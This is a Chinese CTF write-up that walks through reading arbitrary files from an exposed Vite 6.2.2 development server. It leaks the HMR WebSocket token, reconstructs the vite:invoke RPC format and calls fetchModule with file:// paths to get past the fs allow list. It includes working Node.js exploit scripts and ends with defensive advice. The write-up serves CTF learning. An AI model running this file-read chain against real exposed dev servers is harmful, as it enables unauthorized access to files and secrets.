Vite 开发服务器文件读取 Writeup

张开发
2026/5/20 3:00:18 15 分钟阅读
Vite 开发服务器文件读取 Writeup
Vite 开发服务器文件读取 CTF 题 Writeup题目信息目标地址http://8.147.132.32:44713/题目类型Web核心考点Vite 开发服务器暴露、未授权文件读取、WebSocket RPC 利用最终 Flagflag{2ccfc6a1-9352-4ce4-8d82-45ae529de46d}一、题目初探拿到题目地址后第一步先不要急着打复杂 payload而是先判断站点类型、框架特征和暴露面。直接访问首页可以看到返回内容非常简单!doctypehtmlhtmllangenheadscripttypemodulesrc/vite/client/scriptmetacharsetUTF-8/linkrelicontypeimage/svgxmlhref/vite.svg/metanameviewportcontentwidthdevice-width, initial-scale1.0/titleVite App/title/headbodydividapp/divscripttypemodulesrc/src/main.js/script/body/html从这里可以立刻得到几个非常关键的判断页面包含/atvite/client说明目标运行的是Vite 开发服务器而不是正常构建后的生产站点。前端入口是/src/main.js说明源码很可能直接暴露。标题是Vite App高度接近默认模板说明业务逻辑可能不在前端页面本身而在开发服务器暴露面或环境配置上。这里的正确思路不是继续点页面而是转向拉取源码探测fs文件系统访问能力确认 Vite 版本查找是否存在已知开发服务器漏洞二、读取前端源码并判断是否为“伪页面”先访问前端入口GET /src/main.js HTTP/1.1 Host: 8.147.132.32:44713返回内容如下import/src/style.css;functionsetupCounter(element){letcounter0;constsetCounter(count){countercount;element.innerHTMLcount is${counter};};element.addEventListener(click,()setCounter(counter1));setCounter(0);}document.querySelector(#app).innerHTMLdiv h1Hello Vite!/h1 div classcard button idcounter typebutton/button /div /div;setupCounter(document.querySelector(#counter));这是 Vite 默认模板代码没有任何业务逻辑、接口调用或隐藏参数。这一步结论非常重要页面本身没有解题点真正的题眼在Vite 开发服务器配置/暴露面三、确认 Vite 文件系统暴露能力Vite 开发环境有一个典型特征可通过/fs/访问服务器文件系统中的文件但正常情况下会受到server.fs.allow和server.fs.deny规则限制。于是开始探测1. 访问项目内可公开文件请求GET /fs/usr/src/package.json HTTP/1.1 Host: 8.147.132.32:44713成功返回{name:vite-project,private:true,version:0.0.0,type:module,scripts:{dev:vite,build:vite build,preview:vite preview},devDependencies:{vite:6.2.2}}这一步拿到了两个关键情报项目根目录是/usr/srcVite 版本是6.2.22. 测试是否能越权读系统文件请求GET /fs/etc/passwd HTTP/1.1 Host: 8.147.132.32:44713返回提示403 Restricted The request url /etc/passwd is outside of Vite serving allow list. - /usr/src说明fs能用但 HTTP 层仍受到allow list限制当前仅允许读取/usr/src这意味着直接通过普通 HTTP 访问系统根目录下的/flag可能会失败需要寻找HTTP 限制之外的开发服务接口四、继续信息收集识别这是一个已知 Vite 漏洞题既然已经拿到框架Vite版本6.2.2开发模式开启页面默认模板文件系统暴露存在那么接下来最合理的判断是这题大概率不是让你“猜路径”而是利用Vite 开发服务器已知漏洞。进一步读取客户端脚本GET /vite/client HTTP/1.1 Host: 8.147.132.32:44713在返回内容中可以提取到constwsTokenGpbwBXQ3ptg3;newWebSocket(${socketProtocol}://${socketHost}?token${wsToken},vite-hmr)这里再次出现两个关键点Vite 使用 WebSocket HMR 通道连接需要 tokenGpbwBXQ3ptg3这说明服务端不只是一个普通静态服务器它还暴露了HMR WebSocket 通道五、为什么普通 HTTP 读不到但 WebSocket 可能读得到题目的核心在这里。Vite 开发服务器除了 HTTP 文件访问能力外还提供给模块运行器使用的 RPC 机制。客户端和服务端通过 WebSocket 通信其中一个关键事件是vite:invoke服务端对应会调用某些内部函数其中之一就是fetchModule(id, importer, options)这类调用的危险点在于普通 HTTP 路由会检查fs.allow但内部模块获取逻辑如果直接接受file://URL并未做同等级限制就可能导致越权读文件这就是这题真正的利用入口。六、验证 WebSocket 通道可连通使用 Node 原生WebSocket连接constwsnewWebSocket(ws://8.147.132.32:44713/?tokenGpbwBXQ3ptg3,vite-hmr);连接建立后服务端会返回{type:connected}这一步说明token 正确HMR WebSocket 可正常通信可以继续构造自定义 RPC 调用七、分析vite:invoke的消息格式为了避免盲打应该先从暴露出来的node_modules/vite源码中恢复出 RPC 包格式。目标可直接访问GET /fs/usr/src/node_modules/vite/dist/node/chunks/dep-B0fRCRkQ.js HTTP/1.1 Host: 8.147.132.32:44713在服务端实现中可以找到如下逻辑listenerForInvokeHandlerasync(payload,client){constresponseInvokepayload.id.replace(send,response);client.send({type:custom,event:vite:invoke,data:{name:payload.name,id:responseInvoke,data:awaithandleInvoke({data:payload})}});};handleInvoke中继续可见constdatapayload.data;const{name,data:args}data;constinvokeHandlerinvokeHandlers[name];constresultawaitinvokeHandler(...args);return{result};而环境初始化时注册了fetchModule:(id,importer,options){returnthis.fetchModule(id,importer,options);}这说明 RPC 包结构为{type:custom,event:vite:invoke,data:{name:fetchModule,id:send:0,data:[目标路径,importer,options]}}八、先做一次“已知存在文件”的校验在真正读 flag 之前先用一个已知存在的文件验证利用链是否成立比如file:///usr/src/.gitignore?raw发送如下消息{type:custom,event:vite:invoke,data:{name:fetchModule,id:send:0,data:[file:///usr/src/.gitignore?raw,null,{inlineSourceMap:false}]}}服务端成功响应返回内容中包含{result:{code:export default \# Logs\\r\\nlogs\\r\\n...\,file:/usr/src/.gitignore,id:/usr/src/.gitignore?raw,url:/fs/usr/src/.gitignore?raw,invalidate:false}}这一步的意义非常大证明了vite:invoke可被未授权调用fetchModule确实可通过 WebSocket 被远程触发file://路径可被解析?raw可以把普通文件内容包装成模块导出到这里题其实已经解开一半了。九、猜测 Flag 路径CTF 容器题里最常见的 flag 路径通常有/flag/flag.txt/root/flag/tmp/flag/app/flag/usr/src/flag结合这类容器题的习惯/flag是非常高频的默认放置位置。于是优先尝试file:///flag?raw十、最终利用与拿到 Flag发送的最终 WebSocket 消息{type:custom,event:vite:invoke,data:{name:fetchModule,id:send:4,data:[file:///flag?raw,null,{inlineSourceMap:false}]}}服务端返回{type:custom,event:vite:invoke,data:{name:fetchModule,id:response:4,data:{result:{code:export default \flag{2ccfc6a1-9352-4ce4-8d82-45ae529de46d}\,file:/flag,id:/flag?raw,url:/fs/flag?raw,invalidate:true}}}}从code字段中即可直接提取出 flagflag{2ccfc6a1-9352-4ce4-8d82-45ae529de46d}十一、完整利用脚本下面给出一份可直接复现的 Node.js 脚本。consttokenGpbwBXQ3ptg3;consttargetfile:///flag?raw;constwsnewWebSocket(ws://8.147.132.32:44713/?token${token},vite-hmr);ws.addEventListener(open,(){constpayload{type:custom,event:vite:invoke,data:{name:fetchModule,id:send:1,data:[target,null,{inlineSourceMap:false}]}};ws.send(JSON.stringify(payload));});ws.addEventListener(message,(ev){console.log(ev.data.toString());});如果需要自动提取 flag也可以用下面这个版本consttokenGpbwBXQ3ptg3;consttargetfile:///flag?raw;constwsnewWebSocket(ws://8.147.132.32:44713/?token${token},vite-hmr);ws.addEventListener(open,(){ws.send(JSON.stringify({type:custom,event:vite:invoke,data:{name:fetchModule,id:send:1,data:[target,null,{inlineSourceMap:false}]}}));});ws.addEventListener(message,(ev){constmsgJSON.parse(ev.data);if(msg.typecustommsg.eventvite:invoke){constcodemsg.data?.data?.result?.code||;constmcode.match(/flag\\{[^]\\}/);if(m){console.log(FLAG:,m[0]);ws.close();}}});十二、题目原理总结这道题的本质不是“前端源码泄露”而是目标暴露了 Vite 开发服务器前端源码、项目结构、依赖版本因此可直接被读取通过vite/client可以拿到 HMR WebSocket token通过暴露的node_modules/vite源码可以反推出vite:invokeRPC 格式通过fetchModule(file://... ?raw)可以绕过普通 HTTP 路由的访问限制最终从系统根目录读取/flag换句话说漏洞链不是单点而是一个完整的开发环境暴露利用链Vite 开发环境暴露 - 可读源码和依赖 - 获取 HMR token - 连接 WebSocket - 调用 vite:invoke / fetchModule - 读取 file:///flag?raw - 拿到 flag十三、为什么这题设计得比较典型这是一道比较标准的现代前端开发服务器利用题原因在于它考察的不是传统 Web 漏洞而是对前端工程化工具链的理解对开发环境与生产环境差异的理解对 WebSocket 内部 RPC 的利用能力对源码审计与快速定位关键函数的能力如果只停留在“访问首页、看源码、扫目录”的层面很容易误以为这题没有内容。真正的突破点在于意识到题目故意给了一个默认 Vite 页面真正的漏洞点藏在开发服务器本身。十四、解题过程中的关键判断复盘这里把整道题最重要的判断节点再总结一遍1. 首页出现vite/client这不是普通站点而是 Vite 开发环境。2./src/main.js是默认模板说明前端页面不是主战场。3./fs/usr/src/package.json可读确认存在文件系统暴露并拿到 Vite 版本6.2.2。4./fs/etc/passwd被allow list拦截说明普通 HTTP 文件读取受限需要寻找旁路。5.vite/client泄露wsTokenHMR WebSocket 可以利用。6.node_modules/vite可读可以直接审计源码恢复 RPC 协议格式。7.file:///usr/src/.gitignore?raw成功证明 WebSocketfetchModule利用链成立。8.file:///flag?raw成功直接拿到最终 flag。十五、最终答案flag{2ccfc6a1-9352-4ce4-8d82-45ae529de46d}十六、附简要防护建议从防守视角看这类问题的核心修复思路有以下几条不要把 Vite 开发服务器直接暴露到公网。开发环境不要承载真实敏感文件。禁止未授权访问 HMR/WebSocket 调试通道。升级到修复相关安全问题的 Vite 版本。将开发、测试、生产环境彻底隔离。以上就是本题完整 writeup。

更多文章